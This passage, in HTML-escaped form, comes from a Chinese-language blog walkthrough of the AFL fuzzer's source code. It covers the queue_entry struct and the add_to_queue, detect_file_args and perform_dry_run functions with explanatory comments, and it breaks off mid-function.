*&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      var_behavior,                   &#x2F;* Variable behavior?               *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      favored,                        &#x2F;* Currently favored?               *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      fs_redundant;                   &#x2F;* Marked as redundant in the fs?   *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 bitmap_size,                    &#x2F;* Number of bits set in bitmap     *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      exec_cksum;                     &#x2F;* Checksum of the execution trace  *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u64 exec_us,                        &#x2F;* Execution time (us)              *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      handicap,                       &#x2F;* Number of queue cycles behind    *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      depth;                          &#x2F;* Path depth                       *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8* trace_mini;                     &#x2F;* Trace bytes, if kept             *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 tc_ref;                         &#x2F;* Trace bytes ref count            *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  struct queue_entry *next,           &#x2F;* Next element, if any             *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;                     *next_100;       &#x2F;* 100 elements ahead               *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;};&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;然后在函数内部进行的相关操作如下：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* Append new test case to the queue. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static void add_to_queue(u8* fname, u32 len, u8 passed_det) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  struct queue_entry* q = ck_alloc(sizeof(struct queue_entry));&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;&#x2F; 通过ck_alloc分配一个 queue_entry 结构体，并进行初始化&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q-&amp;gt;fname        = fname;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q-&amp;gt;len          = len;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q-&amp;gt;depth        = cur_depth + 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  q-&amp;gt;passed_det   = passed_det;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (q-&amp;gt;depth &amp;gt; max_depth) max_depth = q-&amp;gt;depth;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (queue_top) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    queue_top-&amp;gt;next = q;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    queue_top = q;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  } else q_prev100 = queue = queue_top = q;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  queued_paths++; &#x2F;&#x2F; queue计数器加1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  pending_not_fuzzed++; &#x2F;&#x2F; 待fuzz的样例计数器加1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  cycles_wo_finds = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Set next_100 pointer for every 100th element (index 0, 100, etc) to allow faster iteration. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if ((queued_paths - 1) % 100 == 0 &amp;amp;&amp;amp; queued_paths &amp;gt; 1) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    q_prev100-&amp;gt;next_100 = q;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    q_prev100 = q;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  last_path_time = get_cur_time();&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;在输出目录中为输入测试用例创建硬链接。&lt;&#x2F;p&gt;
&lt;p&gt;变量 &lt;code&gt;timeout_given&lt;&#x2F;code&gt; 没有被设置时，会调用到该函数。该函数主要是在没有指定 &lt;code&gt;-t&lt;&#x2F;code&gt; 选项进行 resuming session 时，避免一次次地自动调整超时时间。&lt;&#x2F;p&gt;
&lt;p&gt;识别参数中是否有“@@”，如果有，则替换为 &lt;code&gt;out_dir&#x2F;.cur_input&lt;&#x2F;code&gt; ，没有则返回：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* Detect @@ in args. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;EXP_ST void detect_file_args(char** argv) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 i = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8* cwd = getcwd(NULL, 0);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  if (!cwd) PFATAL(&quot;getcwd() failed&quot;);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  while (argv[i]) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    u8* aa_loc = strstr(argv[i], &quot;@@&quot;); &#x2F;&#x2F; 查找@@&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    if (aa_loc) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      u8 *aa_subst, *n_arg;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* If we don&#x27;t have a file name chosen yet, use a safe default. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (!out_file)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;        out_file = alloc_printf(&quot;%s&#x2F;.cur_input&quot;, out_dir);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* Be sure that we&#x27;re always using fully-qualified paths. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (out_file[0] == &#x27;&#x2F;&#x27;) aa_subst = out_file;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;     else aa_subst = alloc_printf(&quot;%s&#x2F;%s&quot;, cwd, out_file);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      &#x2F;* Construct a replacement argv value. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      *aa_loc = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      n_arg = alloc_printf(&quot;%s%s%s&quot;, argv[i], aa_subst, aa_loc + 2);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      argv[i] = n_arg;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      *aa_loc = &#x27;@&#x27;;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;      if (out_file[0] != &#x27;&#x2F;&#x27;) ck_free(aa_subst);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    i++;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  }&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  free(cwd); &#x2F;* not tracked *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;}&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;检查指定路径要执行的程序是否存在，是否为shell脚本，同时检查elf文件头是否合法及程序是否被插桩。&lt;&#x2F;p&gt;
&lt;p&gt;调用 &lt;code&gt;get_cur_time()&lt;&#x2F;code&gt; 函数获取开始时间，检查是否处于 &lt;code&gt;qemu_mode&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;该函数是AFL中的一个关键函数，它会执行 &lt;code&gt;input&lt;&#x2F;code&gt; 文件夹下的预先准备的所有测试用例，生成初始化的 queue 和 bitmap，只对初始输入执行一次。函数控制流程图如下：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-perform-dry-run-flowchart.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210907202050.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;下面将结合函数源码进行解析（删除部分非关键代码）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;  1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 44&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 45&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 46&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 47&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 48&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 49&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 50&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 51&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 52&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 53&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 54&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 55&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 56&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 57&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 58&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 59&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 60&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 61&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 62&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 63&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 64&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 65&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 66&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 67&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 68&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 69&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 70&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 71&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 72&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 73&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 74&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 75&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 76&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 77&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 78&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 79&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 80&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 81&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 82&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 83&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 84&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 85&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 86&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 87&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 88&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 89&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 90&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 91&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 92&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 93&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 94&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 95&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 96&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 97&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 98&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 99&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;100&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;101&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;102&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;103&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;104&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;105&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;106&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;107&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;108&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;109&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;110&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;111&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;112&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;113&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;114&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;115&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;116&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;117&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;118&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;119&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;120&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;121&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;122&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;123&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;124&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;125&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;126&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;127&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;128&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;129&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;130&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;131&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;132&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;133&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;134&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;135&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;136&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;137&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;138&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;139&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;140&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;&#x2F;* Perform dry run of all test cases to confirm that the app is working as&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;   expected. This is done only for the initial inputs, and only once. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static void perform_dry_run(char** argv) {&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  struct queue_entry* q = queue; &#x2F;&#x2F; 创建queue_entry结构体&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u32 cal_failures = 0;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  u8* skip_crashes = getenv(&quot;AFL_SKIP_CRASHES&quot;); &#x2F;&#x2F; 读取环境变量 AFL_SKIP_CRASHES&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  while (q) { &#x2F;&#x2F; 遍历队列&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    u8* use_mem;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    u8  res;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    s32 fd;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    u8* fn = strrchr(q-&amp;gt;fname, &#x27;&#x2F;&#x27;) + 1;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    ACTF(&quot;Attempting dry run with &#x27;%s&#x27;...&quot;, fn);&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;    fd = 